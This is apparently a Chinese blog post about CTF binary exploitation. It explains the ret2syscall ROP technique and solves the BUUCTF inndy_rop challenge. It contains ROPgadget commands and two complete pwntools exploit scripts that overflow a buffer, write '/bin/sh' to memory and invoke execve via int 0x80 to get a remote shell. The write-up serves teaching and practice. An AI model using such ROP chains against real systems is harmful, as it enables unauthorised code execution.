pwn ROP笔记1——ret2syscall
pwn ROP笔记
如果一个程序开启了NX保护,那么无法直接向栈或堆上注入shellcode执行,考虑利用程序中原本的代码。ROP(Return Oriented Programming,面向返回的编程)主要是在程序代码中寻找以ret结尾的代码片段(称为gadget),通过将这些程序中的片段串起来连续执行,就可以为我们所用,达成攻击的目的。ROP分为ret2text、ret2shellcode、ret2syscall、ret2libc四种方法,后面会一一介绍。
参考:基本 ROP - CTF Wiki (ctf-wiki.org)
ret2syscall
ret2syscall:通过ROP执行系统调用,利用系统调用来执行/bin/sh。系统调用之前需要将四个寄存器的值设定为:eax=excute的系统调用号,ebx='/bin/sh'的地址,ecx=0,edx=0。然后使用int 0x80来发起一个系统调用,该过程的汇编为
pop eax pop ebx pop ecx pop edx int 0x80
其中最重要的一步就是将'/bin/sh'的地址写入ebx,该如何做呢?
一种方法是寻找gadget片段法(形如pop ecx;ret
、pop dword ptr [ecx];ret
这样的gadget片段)。思想是将字符串'/bin/sh'存储到内存bss段中的一个位置,这是因为bss段内数据地址是不变的,便于之后将字符串写入ebx中,而写入bss则需要间接寻址,即借助一个ecx寄存器(也可以是其他寄存器)来存储bss地址。
具体操作是:按顺序压栈'/sh\x00'
、pop_[ecx]_addr
、bss单元地址+4、pop_ecx_addr
、'/bin'
、pop_[ecx]_addr
、bss单元地址、pop_ecx_addr
。其payload为
payload = p32(pop_ecx_addr) + p32(bss_addr) + p32(pop_in_ecx_addr) + '/bin' payload += p32(pop_ecx_addr) + p32(bss_addr+4) + p32(pop_in_ecx_addr) + '/sh\x00'
每两个元素构成一个操作,其中pop_ecx_addr
指的是pop ecx;ret
这条指令的地址,这条指令将操作数bss单元地址从栈顶pop到寄存器ecx中;pop_[ecx]_addr
指的是pop dword ptr [ecx];ret
这条指令的地址,这条指令将操作数'/bin'从栈顶pop到ecx里面存的地址对应的内存单元处。只有先将bss_addr写入ecx,才能将'/bin'写入[ecx]。下图展示了此时栈的内容,可以看到pop的顺序满足了上面的要求。
在将'/bin/sh'写入bss后,修改各寄存器发起系统调用。这样一来,运行程序后就会得到/bin/sh的权限了。下面以BUUCTF的inndy_rop题目为例进行实战分析。
BUUCTF inndy_rop pwn
IDA,发现main函数调用了overflow函数,除了一个gets获取输入外也没有其他信息了,结合题目名称考虑ROP
首先使用Linux下的ROPgadget工具,在文件中搜索pop进各种寄存器和内存的gadget片段(注意路径不能用~/代替/home/user/)
ROPgadget --binary '/home/mika/Desktop/rop'| grep 'pop dword ptr \[ecx\] ; ret' ROPgadget --binary '/home/mika/Desktop/rop'| grep 'pop eax ; ret' ROPgadget --binary '/home/mika/Desktop/rop'| grep 'pop ebx ; ret' ROPgadget --binary '/home/mika/Desktop/rop'| grep 'pop ecx ; ret' ROPgadget --binary '/home/mika/Desktop/rop'| grep 'pop edx ; ret'
记录下来这些片段的地址,就可以构造payload了
from pwn import * p = remote("node4.buuoj.cn", 27514) int_0x80_addr = 0x0806c943 bss_addr = 0x080EBB81 # 找一个空闲的bss单元 pop_eax_addr = 0x080b8016 pop_ebx_addr = 0x080481c9 pop_ecx_addr = 0x080de769 pop_edx_addr = 0x0806ecda pop_in_ecx_addr = 0x0804b5ba payload = b'a'*(0xc+4) # 先跳过数组v1和ebp payload += p32(pop_ecx_addr) + p32(bss_addr) + p32(pop_in_ecx_addr) + b'/bin' payload += p32(pop_ecx_addr) + p32(bss_addr + 4) + p32(pop_in_ecx_addr) + b'/sh\x00' payload += p32(pop_eax_addr) + p32(0xb) # excute的系统调用号是0xb payload += p32(pop_ebx_addr) + p32(bss_addr) payload += p32(pop_ecx_addr) + p32(0) payload += p32(pop_edx_addr) + p32(0) payload += p32(int_0x80_addr) p.sendline(payload) p.interactive()
更省事的方法是用下面的命令直接生成ropchain作为payload
ROPgadget --binary rop --ropchain
from pwn import * from struct import pack a = remote("node4.buuoj.cn", 27514) p = b'0'*(0xc+4) # 先跳过数组v1和ebp p += pack('<I', 0x0806ecda) # pop edx ; ret p += pack('<I', 0x080ea060) # @ .data p += pack('<I', 0x080b8016) # pop eax ; ret p += b'/bin' p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x0806ecda) # pop edx ; ret p += pack('<I', 0x080ea064) # @ .data + 4 p += pack('<I', 0x080b8016) # pop eax ; ret p += b'//sh' p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x0806ecda) # pop edx ; ret p += pack('<I', 0x080ea068) # @ .data + 8 p += pack('<I', 0x080492d3) # xor eax, eax ; ret p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x080481c9) # pop ebx ; ret p += pack('<I', 0x080ea060) # @ .data p += pack('<I', 0x080de769) # pop ecx ; ret p += pack('<I', 0x080ea068) # @ .data + 8 p += pack('<I', 0x0806ecda) # pop edx ; ret p += pack('<I', 0x080ea068) # @ .data + 8 p += pack('<I', 0x080492d3) # xor eax, eax ; ret p += pack('<I', 0x0807a66f) # inc eax ; ret p += pack('<I', 0x0807a66f) # inc eax ; ret p += pack('<I', 0x0807a66f) # inc eax ; ret p += pack('<I', 0x0807a66f) # inc eax ; ret p += pack('<I', 0x0807a66f) # inc eax ; ret p += pack('<I', 0x0807a66f) # inc eax ; ret p += pack('<I', 0x0807a66f) # inc eax ; ret p += pack('<I', 0x0807a66f) # inc eax ; ret p += pack('<I', 0x0807a66f) # inc eax ; ret p += pack('<I', 0x0807a66f) # inc eax ; ret p += pack('<I', 0x0807a66f) # inc eax ; ret p += pack('<I', 0x0806c943) # int 0x80 a.sendline(p) a.interactive()
通过上面的步骤可以看到,这种寻找片段法也有弊端,就是程序中必须要有供我们搜索的这些片段。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· 单线程的Redis速度为什么快?
· SQL Server 2025 AI相关能力初探
· AI编程工具终极对决:字节Trae VS Cursor,谁才是开发者新宠?
· 展开说说关于C#中ORM框架的用法!